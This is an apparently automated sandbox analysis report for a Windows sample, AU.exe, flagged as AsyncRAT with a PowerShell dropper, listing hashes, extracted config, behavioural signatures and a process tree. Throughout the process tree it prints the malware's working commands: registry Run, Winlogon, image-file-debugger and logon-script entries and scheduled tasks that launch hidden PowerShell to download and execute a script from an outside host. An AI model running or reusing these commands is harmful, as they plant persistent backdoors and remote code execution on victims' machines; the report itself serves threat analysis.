Analysis
- max time kernel
148s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/11/2026, 16:07
Behavioral task
behavioral1
Sample
AU.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
AU.exe
Resource
win10ltsc2021-20260911-en
Behavioral task
behavioral3
Sample
AU.exe
Resource
win11-20260911-en
Behavioral task
behavioral4
Sample
AU.exe
Resource
win11ltsc2024-20260911-en
General
- Target AU.exe
- Size 94KB
- Sample261104-tkrrvsdy6p
- SHA256 03436f9c4b00aa756568afafa5f82c307d6db79350e2253158da6b63ecb74497
- MD5 37f38c657ea9898bcb204fec1fe98531
- SHA1 cddccc55d06ed299332324c411ce0d36a9fb29a4
- SHA512 d80d628aabea36d5eeaef50cdc85e12f35606b64c90cb90c549b4dba9ec27ac33385eacc418dc6a8351484e9e66f2572f30d8438197a6946991b00dc61c66ee1
- SSDEEP 1536:VjoK0CRPQwiTXdn8pwdK1Eby1zwiSgWNZB91pZjIQIMJ2mBJU1vI0m:VjoK0CRPQwiTNn8pw01Eby2rzbIksmBr
- TLSH T18B93F8443BFA4115F3BF9FBCAEF1A1494A75B9636422DA5D0CA411CE0532780CA92F77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
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ps1
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ps1.dropper
http://1au88.pro/load.ps1
Extracted
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asyncrat
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0.5.8
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HackerVN
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7ORTCm5zx7Ge
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delay
3
-
install
true
- install_file
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install_folder
%AppData%
Signatures
- Async RAT payload 1 IoCs
resource yara_rule behavioral4/files/0x000d00000001c602-18.dat family_asyncrat - Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" reg.exe - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 9 1504 powershell.exe 10 1504 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1504 powershell.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe reg.exe - Executes dropped EXE 2 IoCs
pid Process 1924 [email protected] 5760 [email protected] - Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" reg.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" reg.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 30 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4784 cmd.exe 1760 cmd.exe 5476 cmd.exe 3632 cmd.exe 2220 cmd.exe 1344 cmd.exe 4168 cmd.exe 2648 cmd.exe 4680 cmd.exe 1348 cmd.exe 3144 cmd.exe 3816 cmd.exe 2308 cmd.exe 1456 cmd.exe 5048 cmd.exe 5096 cmd.exe 5716 cmd.exe 3948 cmd.exe 3704 cmd.exe 1472 cmd.exe 3316 cmd.exe 3208 cmd.exe 6028 cmd.exe 928 cmd.exe 3480 cmd.exe 2088 cmd.exe 5788 cmd.exe 4608 cmd.exe 1220 cmd.exe 4300 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain AU.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname AU.exe - System Location Discovery: System Language Discovery 1 TTPs 21 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language timeout.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language [email protected] Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AU.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language [email protected] Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe - Delays execution with timeout.exe 1 IoCs
pid Process 5324 timeout.exe - Meterpreter User-Agent 2 IoCs
Uses user-agent string related to Meterpreter framework.
description flow ioc HTTP User-Agent header 12 Meterpreter/1.0 (Windows) HTTP User-Agent header 63 Meterpreter/1.0 (Windows) -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Internet Explorer\Toolbar explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1" explorer.exe - Modifies registry class 13 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\NotificationData explorer.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 9 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3200 schtasks.exe 4912 schtasks.exe 2644 schtasks.exe 3424 schtasks.exe 2008 schtasks.exe 5480 schtasks.exe 3864 schtasks.exe 3928 schtasks.exe 1108 schtasks.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 5420 explorer.exe - Suspicious behavior: EnumeratesProcesses 37 IoCs
pid Process 1504 powershell.exe 1504 powershell.exe 1504 powershell.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 3656 AU.exe 2032 powershell.exe 2032 powershell.exe 2032 powershell.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1504 powershell.exe Token: SeDebugPrivilege 3656 AU.exe Token: SeDebugPrivilege 2032 powershell.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 5420 explorer.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 5420 explorer.exe - Suspicious use of WriteProcessMemory 19 IoCs
description pid Process procid_target PID 3656 wrote to memory of 4784 3656 AU.exe 88 PID 3656 wrote to memory of 4680 3656 AU.exe 90 PID 3656 wrote to memory of 4608 3656 AU.exe 92 PID 4784 wrote to memory of 2860 4784 cmd.exe 94 PID 3656 wrote to memory of 1760 3656 AU.exe 95 PID 3656 wrote to memory of 2220 3656 AU.exe 97 PID 4680 wrote to memory of 4224 4680 cmd.exe 99 PID 3656 wrote to memory of 1348 3656 AU.exe 100 PID 3656 wrote to memory of 928 3656 AU.exe 103 PID 4608 wrote to memory of 3108 4608 cmd.exe 104 PID 2220 wrote to memory of 1016 2220 cmd.exe 106 PID 1760 wrote to memory of 3256 1760 cmd.exe 152 PID 1348 wrote to memory of 3928 1348 cmd.exe 108 PID 928 wrote to memory of 2008 928 cmd.exe 109 PID 3656 wrote to memory of 3144 3656 AU.exe 113 PID 3656 wrote to memory of 3316 3656 AU.exe 114 PID 3316 wrote to memory of 5324 3316 cmd.exe 120 PID 3144 wrote to memory of 1108 3144 cmd.exe 121 PID 3316 wrote to memory of 5760 3316 cmd.exe 124
Processes
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C:\Users\Admin\AppData\Local\Temp\AU.exe"C:\Users\Admin\AppData\Local\Temp\AU.exe"1⤵
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3656 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4784 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f3⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
PID:2860
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4680 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f3⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
PID:4224
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4608 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f3⤵
- Event Triggered Execution: Image File Execution Options Injection
- System Location Discovery: System Language Discovery
PID:3108
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1760 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f3⤵
- Modifies WinLogon for persistence
- System Location Discovery: System Language Discovery
PID:3256
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2220 -
C:\Windows\SysWOW64\reg.exereg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f3⤵
- Registers new Windows logon scripts automatically executed at logon.
- System Location Discovery: System Language Discovery
PID:1016
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /sc onlogon /f2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1348 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /sc onlogon /f3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:3928
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /sc minute /mo 5 /f2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:928 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /sc minute /mo 5 /f3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:2008
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Tele@VietNamReport" /tr '"C:\Users\Admin\AppData\Roaming\[email protected]"' & exit2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3144 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "Tele@VietNamReport" /tr '"C:\Users\Admin\AppData\Roaming\[email protected]"'3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:1108
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp3CDB.tmp.bat""2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3316 -
C:\Windows\SysWOW64\timeout.exetimeout 33⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:5324
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C:\Users\Admin\AppData\Roaming\[email protected]"C:\Users\Admin\AppData\Roaming\[email protected]"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5760 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f4⤵
- Executes a command shell one-liner
PID:3704 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f5⤵PID:3368
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f4⤵
- Executes a command shell one-liner
PID:5476 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f5⤵PID:5100
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f4⤵
- Executes a command shell one-liner
PID:3632 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:3256
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C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f5⤵PID:3380
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f4⤵
- Executes a command shell one-liner
PID:1472 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f5⤵PID:2332
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f4⤵
- Executes a command shell one-liner
PID:3208 -
C:\Windows\SysWOW64\reg.exereg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f5⤵PID:5244
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /sc onlogon /f4⤵
- Executes a command shell one-liner
PID:1456 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /sc onlogon /f5⤵
- Scheduled Task/Job: Scheduled Task
PID:5480
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /sc minute /mo 5 /f4⤵
- Executes a command shell one-liner
PID:3480 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /sc minute /mo 5 /f5⤵
- Scheduled Task/Job: Scheduled Task
PID:2644
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')"1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1504
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2032
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C:\Windows\explorer.exeexplorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')"1⤵PID:1500
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C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:5420
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C:\Users\Admin\AppData\Roaming\[email protected]"C:\Users\Admin\AppData\Roaming\[email protected]"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1924 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
PID:1220 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f3⤵PID:5820
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
PID:4300 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f3⤵PID:1396
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
PID:3816 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f3⤵PID:5224
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
PID:1344 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f3⤵PID:5620
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
PID:5716 -
